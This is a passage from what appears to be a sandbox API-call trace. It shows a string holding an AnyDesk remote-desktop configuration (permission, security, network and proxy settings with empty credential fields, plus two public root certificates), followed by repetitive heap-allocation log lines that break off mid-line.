s=1\nad.security.permission_profiles.changeable_in_accept_window.restart=1\nad.security.permission_profiles.changeable_in_accept_window.file_manager=1\nad.security.permission_profiles.changeable_in_accept_window.lock_desk=1\nad.security.permission_profiles.changeable_in_accept_window.sysinfo=1\nad.security.permission_profiles.changeable_in_accept_window.whiteboard=1\nad.security.permission_profiles.changeable_in_accept_window.tcp_tunnel=1\nad.security.permission_profiles.changeable_in_accept_window.vpn=1\nad.security.permission_profiles.changeable_in_accept_window.user_pointer=1\nad.security.permission_profiles.changeable_in_accept_window.privacy_feature=1\nad.security.permission_profiles.changeable_in_accept_window.record_session=1\nad.security.permission_profiles.show_in_accept_window=1\nad.security.permission_profiles.enabled=1\nad.security.permission_profiles.can_switch_profile=1\nad.security.permission_profiles.can_create=1\nad.security.permission_profiles.removed=0\nad.security.permission_profiles._default.changeable_in_accept_window.audio=1\nad.security.permission_profiles._default.changeable_in_accept_window.input=1\nad.security.permission_profiles._default.changeable_in_accept_window.clipboard=1\nad.security.permission_profiles._default.changeable_in_accept_window.clipboard_files=1\nad.security.permission_profiles._default.changeable_in_accept_window.block_input=1\nad.security.permission_profiles._default.changeable_in_accept_window.sas=1\nad.security.permission_profiles._default.changeable_in_accept_window.restart=1\nad.security.permission_profiles._default.changeable_in_accept_window.file_manager=1\nad.security.permission_profiles._default.changeable_in_accept_window.lock_desk=1\nad.security.permission_profiles._default.changeable_in_accept_window.sysinfo=1\nad.security.permission_profiles._default.changeable_in_accept_window.whiteboard=1\nad.security.permission_profiles._default.changeable_in_accept_window.tcp_tunnel=1\nad.security.permission_profiles._default.changeable_in_accept_window.vpn=1\nad.security.permission_profiles._default.changeable_in_accept_window.user_pointer=1\nad.security.permission_profiles._default.changeable_in_accept_window.privacy_feature=1\nad.security.permission_profiles._default.changeable_in_accept_window.record_session=1\nad.security.permission_profiles._default.can_switch_profile=1\nad.security.permission_profiles._default.show_in_accept_window=1\nad.security.permission_profiles._default.pwd=\nad.security.permission_profiles._default.salt=\nad.security.permission_profiles._full_access.pwd=\nad.security.permission_profiles._full_access.salt=\nad.security.permission_profiles._screen_sharing.pwd=\nad.security.permission_profiles._screen_sharing.salt=\nad.security.permission_profiles._unattended_access.pwd=\nad.security.permission_profiles._unattended_access.salt=\nad.security.view_screen=true\nad.security.hear_audio=true\nad.security.control_input=true\nad.security.sync_clipbrd=true\nad.security.clipboard.files=true\nad.security.block_input=true\nad.security.restart=true\nad.security.file_manager=true\nad.security.lock_account=true\nad.security.lock_remote_account=false\nad.security.record_session=true\nad.security.tcp_tunnel=false\nad.security.privacy_feature=false\nad.security.settings_protection=0\nad.security.enable_uaccess_permissions=true\nad.security.uaccess.connect.send_user_list=0\nad.security.uaccess.hear_audio=true\nad.security.uaccess.control_input=true\nad.security.uaccess.sync_clipbrd=true\nad.security.uaccess.clipboard.files=true\nad.security.uaccess.block_input=true\nad.security.uaccess.restart=true\nad.security.uaccess.file_manager=true\nad.security.uaccess.lock_account=true\nad.security.uaccess.sysinfo=true\nad.security.uaccess.user_pointer=true\nad.security.uaccess.print=true\nad.security.uaccess.whiteboard=true\nad.security.uaccess.record_session=true\nad.security.uaccess.privacy_feature=true\nad.security.uaccess.tcp_tunnel=true\nad.security.uaccess.vpn=true\nad.security.user_pointer=true\nad.security.allow_logon_token=true\nad.security.acl_enabled=false\nad.security.login_enabled=true\nad.security.acl_list=\nad.security.acl_trigger=false\nad.security.sysinfo=true\nad.security.whiteboard=true\nad.security.vpn=true\nad.security.override_local_mouse=false\nad.security.override_local_keyboard=false\nad.security.update_channel=stable\nad.security.update_type=0\nad.security.update_check_interval=32400\nad.security.update_activity_interval=600\nad.security.update_activity_recheck_interval=1200\nad.security.print=true\nad.security.frontend_clipboard_version=0\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.kickout=0\nad.security.passwords_permissions=\nad.security.invitation_permissions=\nad.security.two_factor_auth_flags=1\nad.security.auto_disconnect.mode=0\nad.security.auto_disconnect.timeout=600\nad.security.sess.lock_remote_account=0\nad.privacy.trigger=false\nad.privacy.name=\nad.privacy.name.show=1\nad.privacy.image.show=1\nad.privacy.bkgnd.show=1\nad.privacy.scrshot.path_cfg=1\nad.privacy.scrshot.path=\nad.privacy.online.show=1\nad.privacy.online.show_list=\nad.privacy.chat.path_cfg=1\nad.privacy.chat.path=\nad.privacy.wallpaper.mode=0\nad.privacy.wallpaper.color=#000000FF\nad.privacy.wallpaper.path=\nad.privacy.screen_frame.mode=0\nad.privacy.screen_frame.color=#FF0000FF\nad.privacy.screen_frame.opacity=128\nad.privacy.screen_frame.width=10\nad.recording.auto_start.incoming=0\nad.recording.auto_start.incoming.admin=0\nad.recording.auto_start.outgoing=0\nad.recording.auto_start=false\nad.recording.path_cfg=1\nad.recording.path=\nad.recording.incoming=true\nad.recording.outgoing=true\nad.audio.transmit=true\nad.audio.transmit_mode=2\nad.audio.transmit_use_monitor=true\nad.audio.transmit_source=\nad.audio.playback=true\nad.audio.playback_mode=1\nad.audio.playback_device=\nad.audio.exclusive=false\nad.session.remember_settings=true\nad.session.audio.playback=\nad.session.auto_keyboard=\nad.session.show_remote_cursor=\nad.session.follow_remote_cursor=\nad.session.move_size_hlp=\nad.session.quality_preset=\nad.session.quality_adaptive=\nad.session.quality_lossless=\nad.session.touch_mode=\nad.session.kbd_mode=\nad.session.viewmode=\nad.session.local_file_sort_order=\nad.session.remote_file_sort_order=\nad.session.remote_browser_start_path=\nad.session.local_browser_start_path=\nad.session.lock_remote_account=false\nad.session.privacy_feature=false\nad.session.vpn_auto_config=\nad.session.vpn_start_ip=\nad.session.vpn_client_ip=\nad.session.vpn_server_ip=\nad.session.vpn_default_netmask=\nad.session.show_keyboard=false\nad.session.follow_remote_focus=0\nad.session.limit_incoming=0\nad.session.limit_outgoing=0\nad.session.sync_clipbrd=true\nad.session.sync_clipbrd_files=true\nad.session.suppress_keys=true\nad.session.timeout.monitor_switch=750\nad.session.timeout.monitor_switch.after_mouse=5000\nad.session.timeout.monitor_switch.after_focus=3000\nad.license.name=\nad.license.register_key=\nad.license.auto_reg_hash=\nad.license.id=0\nad.license.permissions=1\nad.features.connect=true\nad.features.address_bar=true\nad.features.accept=true\nad.features.install=true\nad.features.update=true\nad.features.auto_uac=false\nad.features.woa=false\nad.features.address_book=true\nad.features.sess_playback=true\nad.features.sess_record=true\nad.features.trace.connection=true\nad.features.trace.session=true\nad.features.register_alias=false\nad.features.unattended=true\nad.features.file_manager=true\nad.features.vpn=true\nad.features.wol=true\nad.features.motd=true\nad.features.motd_dialogues=true\nad.features.two_factor_auth=true\nad.features.screen_keyboard=true\nad.features.tcp_tun=true\nad.features.tcp_tun_script=true\nad.features.session_invitation.send=true\nad.features.session_invitation.receive=true\nad.features.wallpaper=true\nad.features.screen_frame=true\nad.features.anynet_config_layer=true\nad.features.telemetry=false\nad.features.user_account=true\nad.features.recent_out=true\nad.features.favorites=true\nad.features.quality_adaptive=true\nad.online_status.receive=true\nad.anynet.id=0\nad.anynet.alias=\nad.anynet.pkey=\nad.anynet.cert=\nad.anynet.fpr=\nad.anynet.listen_port=0\nad.anynet.listen_socket=2\nad.anynet.proxy.mandatory=false\nad.anynet.proxy.legacy_wpad=false\nad.anynet.proxy.max_search_delay=100\nad.anynet.proxy.min_search_interval=60000\nad.anynet.proxy.mode=1\nad.anynet.proxy.type=0\nad.anynet.proxy.addr=\nad.anynet.proxy.port=0\nad.anynet.proxy.auth=false\nad.anynet.proxy.auto_auth=true\nad.anynet.proxy.user=\nad.anynet.proxy.pass=\nad.anynet.proxy.pass_plain=\nad.anynet.boot_addrs=boot.net.anydesk.com\nad.anynet.conn_methods=connect:443;connect:80;socks:443;direct:443;direct:80;direct:6568\nad.anynet.last_relay=\nad.anynet.relay.state=0\nad.anynet.relay.fatal_result=0.0\nad.anynet.pwd_hash=\nad.anynet.pwd_salt=\nad.anynet.secondary_pwd_hashes_and_salts=\nad.anynet.two_factor_key=\nad.anynet.auth_disabled=false\nad.anynet.cur_version=0\nad.anynet.cli_ciphers=DEFAULT:!RC4\nad.anynet.svr_ciphers=DEFAULT:!RC4\nad.anynet.auth_tokens=\nad.anynet.token_salt=\nad.anynet.ca_certs=-----BEGIN CERTIFICATE-----\\nMIIFYzCCA0ugAwIBAgIJAIf7DQy3sYvoMA0GCSqGSIb3DQEBBQUAMEgxFzAVBgNV\\nBAMMDkFueU5ldCBSb290IENBMSAwHgYDVQQKDBdwaGlsYW5kcm8gU29mdHdhcmUg\\nR21iSDELMAkGA1UEBhMCREUwHhcNMTQwNDExMDIzNzU1WhcNMjQwNDA4MDIzNzU1\\nWjBIMRcwFQYDVQQDDA5BbnlOZXQgUm9vdCBDQTEgMB4GA1UECgwXcGhpbGFuZHJv\\nIFNvZnR3YXJlIEdtYkgxCzAJBgNVBAYTAkRFMIICIjANBgkqhkiG9w0BAQEFAAOC\\nAg8AMIICCgKCAgEAtBVBDdoa01og/vnfvwqM8aSt79RUlufigrcNAOrxN+LXjKEW\\nO6BoCDiqbdsmvqZpkzaojh5w3KyBHuLdFoM0tRVw9YrNne5dgHxaeKIHpK7m+NYx\\n+lx7u+Ba61Evl7/2+zMnkLPY5ODNaDtqh2ymDefYvWHfVmsq4Rwr9Z+/hd2MWwYe\\ncX+6SqZAsHcX6iw/W5QUhS6tEWGriPYBu7NHa+KBGPGOOebYewxjhoOscIR1Jy01\\nPXt7qM6ySHkIOC2CJn6TSzJ2ZoWn/crxCi/HYg9qQP4aa1gcU+RjwXWDmqt4BEmD\\nH+cjcJ+jv2jRMy9M3l6GmH1hfQE09Zzpy0FrrlArZ9XZ8gL8X6NSNLncZ+/6c8WU\\nQOq1iveY7Oibu4ZsbzY3ioCMn4T2ykp2InKNUn2FdU1V762v8+UWIwBb6Lbtfp8u\\ngEvu1V/cZemJ3NumQwS7zv2pTC8ZM6rmcSCG/kWLl+bIHU9wusfAw/Om8trCpBvd\\niU7sHNp7JI+qQvkUMoNoY8gmvOwTsw0L4rYIxsYGfqMWbxXSGxZSPB8ikSUXFcxC\\ngto7qDnHKlDK2UygjJUzdQNwuN+gybKyixs4g3kywxLaM5ZC9JERqsYmMbzqQ4ow\\nVGXFQ55QO/qRkw6dOyNKPUPBxiKbaK8v/AGAUhgFIg69auQuydbsxY/zE7MCAwEA\\nAaNQME4wHQYDVR0OBBYEFBlleQaAxt6yqliZV7I2XO0BYo1HMB8GA1UdIwQYMBaA\\nFBlleQaAxt6yqliZV7I2XO0BYo1HMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEF\\nBQADggIBALOqRxekr9JgNBWtJdWOKF7BqrGNMFabR3by4CBUBj3xI8Lvu6Hyn+Or\\nDAa/VF4MGjVWbeGTS8WZX5CGflKDlKCgRzby/PLCTXDJyW40XKcPBP3rFl6KvoY7\\noAxzf6P1Xz0rxUEMZwrjSCvKYvapmh7J5ES8F/nbXEWYCWnsyGPvhSlOce35maxJ\\nIIqQvFmO8fOlmZkS46d75Wg0q1NarfFEyrp/wqZzkhDqjLHGydXkXisPHkqT+W1M\\nBoWQZVHTicwuomu15PDqNzWpfcDLhxIycpMhUYEdowzKlviB9JKgr/cZJPPmzeoR\\nKcnxKR2yKxgatKPAWMRwOXiniNd0MsKAYoNY47Q+JbhWLGB3UiWqYTLRl413JDQk\\nxdvy3WHI7WNXDsJw5R9S3WxvOLLa7Z2nL4f6s3DlZE35wwLVRtofy/BYIPxElvDK\\ntps55s8n0CyZdNTK3keI7d/3nDusimLSdZDZAIHT+MJHjpq9h23O5Zp/KHakd8Y/\\nub9N8cvfDyxz/rRg4yZeg/KuNlaU6aedoT3KXW49Xahv8qWP855ohSfs6WeFNBYN\\nRTQUjgcMeyVRVPM/oSrvmheeUd4WZPvd4ciUCYw5u3dz1Ga7SStc+itXi2at96hw\\nO4+eCXHeEi7tAhBM1Wcecv86PjRtkmA9RF70IWDubC46cxrDJmr0\\n-----END CERTIFICATE-----;-----BEGIN CERTIFICATE-----\\nMIIFbDCCA1SgAwIBAgIJAOcOOMSgQkRlMA0GCSqGSIb3DQEBDQUAMEoxGTAXBgNV\\nBAMMEEFueU5ldCBSb290IENBIDIxIDAeBgNVBAoMF3BoaWxhbmRybyBTb2Z0d2Fy\\nZSBHbWJIMQswCQYDVQQGEwJERTAgFw0xOTAyMjcyMDEyNDJaGA8yMTE5MDIwMzIw\\nMTI0MlowSjEZMBcGA1UEAwwQQW55TmV0IFJvb3QgQ0EgMjEgMB4GA1UECgwXcGhp\\nbGFuZHJvIFNvZnR3YXJlIEdtYkgxCzAJBgNVBAYTAkRFMIICIjANBgkqhkiG9w0B\\nAQEFAAOCAg8AMIICCgKCAgEAqUhRKwaqr1CtntCMZuAUNG5XbII8il8yXSScuhcU\\n3esJbXdiDWXqKd8HS4h3hTTiKsrPa7vx8SZXG+rlAigmfpgYe6CLK1DvW5AIjrUe\\nkOmyt9h6eMQ1aYl+YWVAaiFZuU6HHdVVkAvJLABRNs1Mg6PU05gMVrugEbRq/8nl\\nurQLjfPAszqu2hNE9Vhupf0agw2hbSJ6WzeQnaubOZPs1bQ3uD8bJKVMg/ttgJ9c\\nwkyqDLVP4zs3Wz8L1g2+EdwuQxJnN9rLdlunb+Hop86+ZaJXPWqJzqOZCa3EA9As\\nRxQVhL9h35fktdu5u0CL5ZBS9B2jumydmRWGTfwFxbMThd/tn/e9BzorTCKEcvJr\\nDoqxaCxE8iOGbjTN2zIC0PTIv6g0sj28nbPF5FBelpF5D5k+o1SZ9xjDG4xmcovU\\nu3W1nrKf60CLoHTqQ2XeUYu7NkKOr9Fn72hSqDACRBJQIGxZnresFSRY2IS6FTy4\\n8zyfnz0Qrlj/A5vzAOqKA7S3XNCT1DcjlA6V4a5AWe1bdsW/MB9fsFuPPmknLa8n\\nGOW2Y57eXgQ9SShz/Mn9+5nzOTSWpFbP7r5kZt6lDyMvrA2TN4PS2teuKy/ndna8\\nXV/ad8yD4Uf4slVPU0g9r2ZEb8PyxS3z1E1DbZ4nJBQTCI2dgBpeseP7rWGAGHKY\\nzMkCAwEAAaNTMFEwHQYDVR0OBBYEFFnC16nf4dqWO76ICbRqUvhBCPUbMB8GA1Ud\\nIwQYMBaAFFnC16nf4dqWO76ICbRqUvhBCPUbMA8GA1UdEwEB/wQFMAMBAf8wDQYJ\\nKoZIhvcNAQENBQADggIBADsJ7G/zeZhpGAzLbhzYo/bnvrpFV9F77JybAKpG+Oit\\nByYvH8jLdQjoBNRPGv8Cd5U6kehaS2wXF3NbGLVF5MpHZL6QFQnEplfwpIz1jLxn\\nLFL2zzD/Yxtb5Noef5CIklb2JSejDMwz3AoVMru5OzQZn0O+eQHHY/PT/4hc7KWQ\\ne3IkJKjwf7drAVgKKzpaUsXD6mrzFdYPYThWUtrse+al37pyJWZYaYddqUMvBiLh\\nMrG/E9su5p/nRVSWv7W5h+03dciN+F70RcJD/yD22NSa02swMKLqWAbdrDbScYER\\neraUizYRrtPCttch4pLAZUDUNmgftGR52lJ679945EoLLEDvOyKrLz+dPZ+dHZS9\\nqvfvyHGV/zCnDNI3oDZM3M/l8WINapU8oWlfWpTdC1w6aNPnxoS1QuIGFVVdzBbG\\nSV7ngG9YLqgIPw1EpxPyu4T7o8XLoD5z0U/u9wR32W3W5Bekzq7DmgL/uSTrP5WH\\nqsqx23y7fziLCiJE1k7dJwt2IEhQJrdhpcy8UrUEf9F/HyB0RJw0i6/5aswg/6gw\\nEVR+qbECD/osvRsZQTLCK+66z2jleK/Ooh0Wj4mrhiTsDdNgGK5W/TGVoeeKxGnm\\nCBnBW2cvz0o4RUw3jGY1AGSYvIYxy7qGsa6XAn0C1NkIc9dUoV8XhhH1Wo3uQbHO\\n-----END CERTIFICATE-----\nad.anynet.relay_only=false\nad.anynet.connect_volatile_tokens=\nad.anynet.accept_volatile_tokens=\nad.anynet.accept_volatile_tokens_info=\nad.anynet.register.add_to_namespace=false\nad.anynet.register.namespace_id=0\nad.anynet.register.add_to_roster=false\nad.anynet.register.roster_id=0\nad.anynet.register.roster_tags=\nad.anynet.update_state=0\nad.anynet.last_auto_update=0\nad.anynet.direct=true\nad.anynet.keepalive=false\nad.anynet.network_id=\nad.anynet.network_hash=\nad.anynet.client_stats_hash=\nad.restart.restore_bcd=false\nad.service.remove_at_start=false\nad.files.local_file_sort_order=4\nad.files.remote_file_sort_order=4\nad.files.remote_browser_start_path=\nad.files.local_browser_start_path=\nad.files.enable_parent_folder=true\nad.custom_client_id=\nad.print.auto_exec_injobs=false\nad.print.mode=1\nad.print.device=\nad.discovery.enabled=true\nad.discovery.multicast_ip=239.255.102.18\nad.discovery.multicast_port=50001\nad.discovery.repeat_interval=1000\nad.discovery.repeat_limit=10\nad.discovery.hidden=false\nad.discovery.buffer_interval=5000\nad.discovery.show_tile=1\nad.discovery.default_behavior=1\nad.discovery.port_range=3\nad.discovery.verbose=0\nad.discovery.encrypted=1\nad.discovery.support_v1=1\nad.vpn.start_ip=2886860800\nad.vpn.default_netmask=4294967292\nad.vpn.auto_config=true\nad.vpn.client_ip=167772161\nad.vpn.server_ip=167772162\nad.keyboard.show_keyboard=false\nad.wol.enabled=true\nad.wol.auto_add=1\nad.wol.group_sync=\nad.wol.mode=1\nad.wol.mac_hash=\nad.msg.channels_states=\nad.msg.data=\nad.invite.created_list_encrypted=\nad.invite.received_list_encrypted=\nad.bandwidth.limit=false\nad.bandwidth.limit_kbs=0\nad.telemetry.mode=1\nad.account.info=\nad.account.oauth_provider=\nad.account.auth_methods=\n") returned 19716 [0283.142] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x193f8d0 [0283.142] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f040 [0283.142] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x193e180 [0283.142] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f058 [0283.142] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x193e1c8 [0283.142] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f070 [0283.142] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x193fef0 [0283.142] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f088 [0283.142] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x193ff38 [0283.142] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f0a0 [0283.142] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x193d6b0 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f0b8 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x193ff68 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f0d0 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x193ffa0 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f0e8 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1969a60 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f100 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1969aa0 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f118 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1969ae0 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f130 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1969b10 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f148 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1969b40 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f160 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x1969b70 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f178 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x1969ba8 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f190 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1969be0 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f1a8 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x1969c20 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f1c0 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1969c58 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f1d8 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1969c98 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f1f0 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1969cd0 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f208 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1969d10 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f220 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x1969d58 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f238 [0283.143] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x1969d90 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f250 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1969dd8 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969e48 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x196a230 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969e60 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x196a270 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969e78 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x196a2b0 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969e90 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x196a2d8 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969ea8 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196a318 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969ec0 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x196a350 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969ed8 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x196a390 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969ef0 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x196a3d8 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f08 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x196a420 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f20 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x196a468 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f38 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x196a4a8 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f50 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x196a4e8 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f68 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x196a538 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f80 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x196a580 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969f98 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x196a5d0 [0283.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969fb0 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x196a618 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969fc8 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x196a670 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969fe0 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196b658 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1969ff8 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x196b6a8 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a010 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x196be90 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a028 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x196a6b0 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a040 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x196a6f0 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a058 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x196bed8 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a070 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x196bf28 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a088 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x196bf78 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a0a0 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x196bfc8 [0283.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a0b8 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x196a730 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a0d0 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196b6e0 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a0e8 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196b718 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a100 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x196c018 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a118 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x196c068 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a130 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x196a770 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, 